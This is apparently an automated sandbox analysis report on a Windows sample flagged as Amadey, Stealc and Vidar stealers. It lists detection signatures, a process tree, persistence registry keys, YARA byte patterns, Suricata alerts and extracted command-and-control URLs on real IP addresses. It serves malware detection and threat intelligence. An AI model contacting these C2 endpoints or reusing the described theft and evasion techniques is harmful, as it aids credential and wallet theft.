Edit tour

Windows Analysis Report
8NjcvPNvUr.exe

Overview

General Information

Sample name:	8NjcvPNvUr.exe renamed because original name is a hash value
Original sample name:	e04afeeb6bb46b372bc1d7c2e2f25ead.exe
Analysis ID:	1483377
MD5:	e04afeeb6bb46b372bc1d7c2e2f25ead
SHA1:	684d7f3cf0f8f94b1a58b39a97fd2f8f37f4a380
SHA256:	71db154390c24f07114784bf363d39dac8f1699c517064327724f83ca4acdfb9
Tags:	32exe
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

PE file has nameless sections

Potentially malicious time measurement code found

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Suspicious File Creation In Uncommon AppData Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sleep loop found (likely to delay execution)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

8NjcvPNvUr.exe (PID: 6892 cmdline: "C:\Users\user\Desktop\8NjcvPNvUr.exe" MD5: E04AFEEB6BB46B372BC1D7C2E2F25EAD)

explorti.exe (PID: 5480 cmdline: "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe" MD5: E04AFEEB6BB46B372BC1D7C2E2F25EAD)

explorti.exe (PID: 7184 cmdline: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe MD5: E04AFEEB6BB46B372BC1D7C2E2F25EAD)

explorti.exe (PID: 7872 cmdline: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe MD5: E04AFEEB6BB46B372BC1D7C2E2F25EAD)

8ec8c5c339.exe (PID: 8052 cmdline: "C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe" MD5: 0EF35662ABBE44CF6E064CB524B10742)

cmd.exe (PID: 6892 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingHJDBKJKFIE.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RoamingHJDBKJKFIE.exe (PID: 7232 cmdline: "C:\Users\user\AppData\RoamingHJDBKJKFIE.exe" MD5: E04AFEEB6BB46B372BC1D7C2E2F25EAD)

cmd.exe (PID: 7368 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userKFHCAEGCBF.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7376 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

userKFHCAEGCBF.exe (PID: 4852 cmdline: "C:\Users\userKFHCAEGCBF.exe" MD5: 4244BD9C011F09D5FB95BBE4CDA9EA93)

axplong.exe (PID: 1028 cmdline: "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe" MD5: 4244BD9C011F09D5FB95BBE4CDA9EA93)

WerFault.exe (PID: 6512 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 8052 -s 2432 MD5: C31336C1EFC2CCB44B4326EA793040F2)

1c593ec106.exe (PID: 8168 cmdline: "C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe" MD5: ED89562ECF478105FE0DAB7EB6296170)

firefox.exe (PID: 7612 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

8ec8c5c339.exe (PID: 6704 cmdline: "C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe" MD5: 0EF35662ABBE44CF6E064CB524B10742)

WerFault.exe (PID: 7144 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6704 -s 1312 MD5: C31336C1EFC2CCB44B4326EA793040F2)

1c593ec106.exe (PID: 6824 cmdline: "C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe" MD5: ED89562ECF478105FE0DAB7EB6296170)

firefox.exe (PID: 504 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2116 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 4048 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2312 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2240 -prefsLen 25359 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {77cf4557-a063-4b0f-83a1-cb60c77939fe} 2116 "\\.\pipe\gecko-crash-server-pipe.2116" 28621a6eb10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6400 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7664 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 1448 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2336 -parentBuildID 20230927232528 -prefsHandle 2272 -prefMapHandle 2256 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fac9cc89-eaa9-45bc-9cd9-39fa408611c3} 7664 "\\.\pipe\gecko-crash-server-pipe.7664" 238e766c110 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

8ec8c5c339.exe (PID: 848 cmdline: "C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe" MD5: 0EF35662ABBE44CF6E064CB524B10742)

WerFault.exe (PID: 1404 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 848 -s 1028 MD5: C31336C1EFC2CCB44B4326EA793040F2)

1c593ec106.exe (PID: 3960 cmdline: "C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe" MD5: ED89562ECF478105FE0DAB7EB6296170)

axplong.exe (PID: 5852 cmdline: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe MD5: 4244BD9C011F09D5FB95BBE4CDA9EA93)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://85.28.47.31/5499d72b3a3e55be.php"}

Threatname: Amadey

{"C2 url": ["http://185.215.113.19/Vi9leo/index.php"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000012.00000002.2597088663.0000000000C11000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.1671801821.0000000004B10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000002.2782069458.00000000026DA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000002.2721807225.00000000025D0000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x13e0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000008.00000002.2743508597.0000000003FB0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000002.00000003.1675477265.0000000004F80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000002.2781993331.00000000026C0000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x13e0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000A.00000002.2721852651.00000000025EA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000007.00000002.2918910724.0000000000311000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1686962382.0000000000251000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000025.00000002.2917060920.0000000000161000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000002.2581050540.0000000000C31000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000025.00000003.2894591592.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000002.2783023147.00000000040C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000013.00000003.2583529473.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000002.2624183793.0000000000161000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1646914166.0000000004A60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000012.00000003.2556118142.0000000005400000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.1715844262.0000000000311000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000002.2741806930.00000000024C7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000002.1712103381.0000000000311000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000002.2741099564.00000000024AD000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x11c8:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000A.00000002.2722138020.00000000040D0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000007.00000003.2288311449.0000000004830000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000003.2539138364.0000000004850000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: 8ec8c5c339.exe PID: 8052	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 8ec8c5c339.exe PID: 8052	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 8ec8c5c339.exe PID: 8052	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 8ec8c5c339.exe PID: 8052	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 1c593ec106.exe PID: 8168	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: 8ec8c5c339.exe PID: 6704	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 8ec8c5c339.exe PID: 6704	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 1c593ec106.exe PID: 6824	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: 8ec8c5c339.exe PID: 848	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 8ec8c5c339.exe PID: 848	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 1c593ec106.exe PID: 3960	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Click to see the 31 entries

Unpacked PEs

Source	Rule	Description	Author
2.2.explorti.exe.310000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.8NjcvPNvUr.exe.250000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
37.2.axplong.exe.160000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
18.2.userKFHCAEGCBF.exe.c10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
15.2.RoamingHJDBKJKFIE.exe.c30000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.explorti.exe.310000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
19.2.axplong.exe.160000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.2.explorti.exe.310000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe, ProcessId: 7872, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\8ec8c5c339.exe

Sigma detected: Suspicious File Creation In Uncommon AppData Folder

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe, ProcessId: 8052, TargetFilename: C:\Users\user\AppData\RoamingHJDBKJKFIE.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe, ProcessId: 7872, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\8ec8c5c339.exe

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T05:39:17.432400+0200
SID:	2803304
Source Port:	49477
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.4

Timestamp:	2024-07-27T05:39:17.616315+0200
SID:	2011803
Source Port:	80
Destination Port:	49477
Protocol:	TCP
Classtype:	Executable code was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.4

Timestamp:	2024-07-27T05:39:10.939424+0200
SID:	2011803
Source Port:	80
Destination Port:	49477
Protocol:	TCP
Classtype:	Executable code was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 185.215.113.16

Timestamp:	2024-07-27T05:39:25.560307+0200
SID:	2803304
Source Port:	49489
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.4 - Destination IP: 185.215.113.19

Timestamp:	2024-07-27T05:39:11.332430+0200
SID:	2044696
Source Port:	49478
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc Submitting System Information to C2 - Source IP: 192.168.2.4 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T05:39:10.312010+0200
SID:	2044248
Source Port:	49477
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.4

Timestamp:	2024-07-27T05:39:10.939070+0200
SID:	2011803
Source Port:	80
Destination Port:	49477
Protocol:	TCP
Classtype:	Executable code was detected

ET MALWARE Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.4 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T05:39:08.818450+0200
SID:	2044244
Source Port:	49477
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET ACTIVEX COM Object Instantiation Memory Corruption Vulnerability MS05-054 - Source IP: 85.28.47.31 - Destination IP: 192.168.2.4

Timestamp:	2024-07-27T05:39:17.797520+0200
SID:	2002725
Source Port:	80
Destination Port:	49477
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 13.85.23.86 - Destination IP: 192.168.2.4

Timestamp:	2024-07-27T05:38:45.949910+0200
SID:	2022930
Source Port:	443
Destination Port:	49472
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.4 - Destination IP: 185.215.113.19

Timestamp:	2024-07-27T05:39:06.367038+0200
SID:	2044696
Source Port:	49475
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T05:39:16.455751+0200
SID:	2803304
Source Port:	49477
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.4 - Destination IP: 185.215.113.16

Timestamp:	2024-07-27T05:39:07.135282+0200
SID:	2803305
Source Port:	49476
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.4 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T05:39:09.009689+0200
SID:	2044246
Source Port:	49477
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.4 - Destination IP: 185.215.113.19

Timestamp:	2024-07-27T05:39:03.178772+0200
SID:	2856147
Source Port:	49473
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config - Source IP: 85.28.47.31 - Destination IP: 192.168.2.4

Timestamp:	2024-07-27T05:39:08.825378+0200
SID:	2044245
Source Port:	80
Destination Port:	49477
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.4

Timestamp:	2024-07-27T05:39:11.030318+0200
SID:	2011803
Source Port:	80
Destination Port:	49477
Protocol:	TCP
Classtype:	Executable code was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 185.215.113.16

Timestamp:	2024-07-27T05:39:23.251603+0200
SID:	2803304
Source Port:	49489
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.4 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T05:39:08.628036+0200
SID:	2044243
Source Port:	49477
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T05:39:20.625632+0200
SID:	2803304
Source Port:	49477
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.4

Timestamp:	2024-07-27T05:39:10.930935+0200
SID:	2011803
Source Port:	80
Destination Port:	49477
Protocol:	TCP
Classtype:	Executable code was detected

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 85.28.47.31 - Destination IP: 192.168.2.4

Timestamp:	2024-07-27T05:39:11.491406+0200
SID:	2009080
Source Port:	80
Destination Port:	49477
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.4 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T05:39:31.133075+0200
SID:	2044243
Source Port:	49498
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 85.28.47.31 - Destination IP: 192.168.2.4

Timestamp:	2024-07-27T05:39:19.822572+0200
SID:	2009080
Source Port:	80
Destination Port:	49477
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.4

Timestamp:	2024-07-27T05:39:11.292505+0200
SID:	2011803
Source Port:	80
Destination Port:	49477
Protocol:	TCP
Classtype:	Executable code was detected

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 85.28.47.31 - Destination IP: 192.168.2.4

Timestamp:	2024-07-27T05:39:10.848747+0200
SID:	2011803
Source Port:	80
Destination Port:	49477
Protocol:	TCP
Classtype:	Executable code was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T05:39:18.537981+0200
SID:	2803304
Source Port:	49477
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 185.215.113.16 - Destination IP: 192.168.2.4

Timestamp:	2024-07-27T05:39:04.669449+0200
SID:	2009080
Source Port:	80
Destination Port:	49474
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Amadey CnC Response M1 - Source IP: 185.215.113.19 - Destination IP: 192.168.2.4

Timestamp:	2024-07-27T05:39:05.582986+0200
SID:	2856122
Source Port:	80
Destination Port:	49473
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 85.28.47.31 - Destination IP: 192.168.2.4

Timestamp:	2024-07-27T05:39:18.311879+0200
SID:	2009080
Source Port:	80
Destination Port:	49477
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 85.28.47.31

Timestamp:	2024-07-27T05:39:20.200811+0200
SID:	2803304
Source Port:	49477
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.4 - Destination IP: 185.215.113.16

Timestamp:	2024-07-27T05:39:04.231159+0200
SID:	2803305
Source Port:	49474
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile - Source IP: 85.28.47.31 - Destination IP: 192.168.2.4

Timestamp:	2024-07-27T05:39:17.797435+0200
SID:	2009080
Source Port:	80
Destination Port:	49477
Protocol:	TCP
Classtype:	A Network Trojan was detected

